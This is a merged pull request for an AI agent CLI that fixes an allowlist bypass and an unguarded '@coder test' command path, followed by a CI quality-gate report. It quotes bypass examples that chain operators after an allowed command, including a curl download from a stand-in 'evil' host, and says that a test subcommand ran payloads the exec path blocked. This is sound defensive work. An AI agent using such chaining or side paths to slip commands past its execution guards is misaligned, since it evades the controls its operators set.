Skip to content

fix(agent): the allowlist covers the whole line, and coder test stops being the way around it - #1531

Merged
diillson merged 1 commit into
mainfrom
feat/agent-exec-hardening
Sep 5, 2026
Merged

fix(agent): the allowlist covers the whole line, and coder test stops being the way around it#1531
diillson merged 1 commit into
mainfrom
feat/agent-exec-hardening

Conversation

@diillson

@diillson diillson commented Sep 5, 2026

Copy link
Copy Markdown
Owner

Third PR from the features/security audit. This one is mostly fixes to protections that existed but did not hold, rather than missing features.

The allowlist checked one word

extractBaseCommand truncated at the first |, &&, ||, ; or &, so strict mode authorised the leading command and let the rest of the line through. Proven before the fix:

"ls && curl http://evil/x -o /tmp/x"  PASSES the strict allowlist (base="ls")
"echo hi; npx whatever"               PASSES (base="echo")
"ls | openssl enc -d"                 PASSES (base="ls")

"Only commands from the allowlist can be executed" was untrue of any line containing an operator. Every segment is now held to the same rule, decomposed with the shell parser already in the tree — so echo "a && b" stays one command and is not mistaken for a chain.

Two deliberate choices keep this from becoming a regression:

  • A line the parser cannot read falls back to the previous single-command check instead of failing closed. A host whose shell is not bash would otherwise lose every command, and a line mvdan.cc/sh cannot parse is one the executor's shell is unlikely to run either. The denylist layer still applies.
  • Navigation builtins joined the list (cd, pwd, pushd, popd, dirs, wait, read, shift, jobs, :, [). My own test caught this: without cd, checking every segment would have refused cd sub && go build. They carry no capability of their own.

Nineteen documented commands were not on the list

The docs list npx, base64, openssl, poetry, zig, kotlinc, argocd, flux, istioctl, xmllint, csvtool, ag, cmp, cal, clear, reset, tput, stty, look as allowed. Strict mode refused all nineteen. They are on the list now, and a test pins the documented set.

Two settings did nothing when written as documented

  • CHATCLI_AGENT_ALLOWLIST split on commas; the documented example used semicolons, so "mycli;internal-tool;company-deploy" registered one command with semicolons in its name.
  • CHATCLI_AGENT_EXTRA_READ_PATHS split on the native separator; the documented example used semicolons, so it produced one path that exists nowhere.

Both accept either spelling now. A colon is still never a separator on Windows — it separates a drive letter from its path.

@coder test was an unguarded path to the same shell

handleTest takes an arbitrary --cmd and ran it through no guard: not IsUnsafeCommand, not the sandbox, and not the upstream gate, which only ever looked at sub == "exec". Proven by running the engine:

exec  -> BLOCKED: Dangerous pattern detected ((?i)\beval\s+)
test  -> EXECUTED the payload (marker created on disk)

It now applies the same check and the same sandbox, and carries the same --allow-unsafe / --allow-sudo escape hatches so a suite that legitimately needs them is not newly refused. The upstream gate covers both subcommands.

Verification

15 new tests: the bypass shapes, legitimate chains that must keep working, quoted operators, the sudo prefix, the documented command set, both separator spellings, and @coder test parity with exec in both directions.

Patch coverage 93.1%. Full suite, go vet green.

… being the way around it

Strict mode checked the first word of a command and nothing else. A line is
a sequence of invocations, so that made any allowed command a passphrase
for the rest of it: ls followed by an ampersand pair carried an arbitrary
command straight past the gate. "Only commands from the allowlist can be
executed" was not true of any line with an operator in it. Every segment is
held to the same rule now, decomposed by the shell parser that was already
in the tree, so a quoted operator stays a quoted operator and is not
mistaken for a chain.

Two things kept that from becoming a regression. A line the parser cannot
read falls back to the previous single-command check rather than failing
closed, because a host whose shell is not bash would otherwise lose every
command. And the navigation builtins joined the list: cd, pwd, pushd and
their neighbours carry no capability of their own, and refusing them once
every segment is checked would have broken a directory change followed by a
build while withholding nothing.

Nineteen commands the documentation lists as allowed were not on the list
at all, so strict mode refused npx, base64, openssl, poetry, zig, istioctl
and the rest while the page said otherwise. They are on it now.

Two settings did nothing when written the way they were documented. The
custom allowlist split on commas while the documented example used
semicolons, which registered one command with semicolons in its name; extra
read paths split on the native separator while the documented example used
semicolons, which produced one path that exists nowhere. Both accept either
spelling now, except that a colon is still never a separator on Windows,
where it separates a drive letter from its path.

The coder test subcommand takes an arbitrary command and ran it through
none of the guards its sibling applies: not the dangerous-pattern check,
not the sandbox, and not the upstream gate, which only ever looked at exec.
The same payload the exec path refuses executed through test. It is guarded
now, with the same escape hatches, so a suite that legitimately needs them
is not newly refused, and the upstream gate covers both subcommands rather
than the one that happens to be named after running commands.
@diillson
diillson force-pushed the feat/agent-exec-hardening branch from 886353a to 472cdeb Compare September 5, 2026 19:18
@github-actions

github-actions Bot commented Sep 5, 2026

Copy link
Copy Markdown
Contributor

Quality Gate

Result: ✅ all floors passed

Floor Status Result Δ vs main Budget
1 · Build & Static go build / vet / fmt / lint
2 · Coverage 59.0% (bootstrap) 0 ≥ baseline
3 · Patch coverage 92.0% (req ≥ 60%) ≥ 60%
4 · AI smells diff scanned
5 · Scope budget 7 files / 407 LOC (code 407 + tooling 0) warn 800·25
6 · E2E go test -race ./e2e/... ≤ 15min
7 · Commit lint conventional commits
8 · Cyclo (new code) 5 file(s) under threshold ≤ 30
9 · Secrets scan gitleaks
10 · i18n parity missing 0, unknown 0
11 · CRD drift drifted: 0
12 · License headers 0 missing
13 · API breaking 0 incompatible
14 · Binary size chatcli 96.6MB · operator 54.3MB 100MB each
15 · Provider parity 15 providers · 0 violations

Config: .github/quality-gate.yml. Workflow: .github/workflows/quality-gate.yml.

@diillson
diillson merged commit 491efbc into main Sep 5, 2026
25 checks passed
@diillson
diillson deleted the feat/agent-exec-hardening branch September 5, 2026 19:32
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant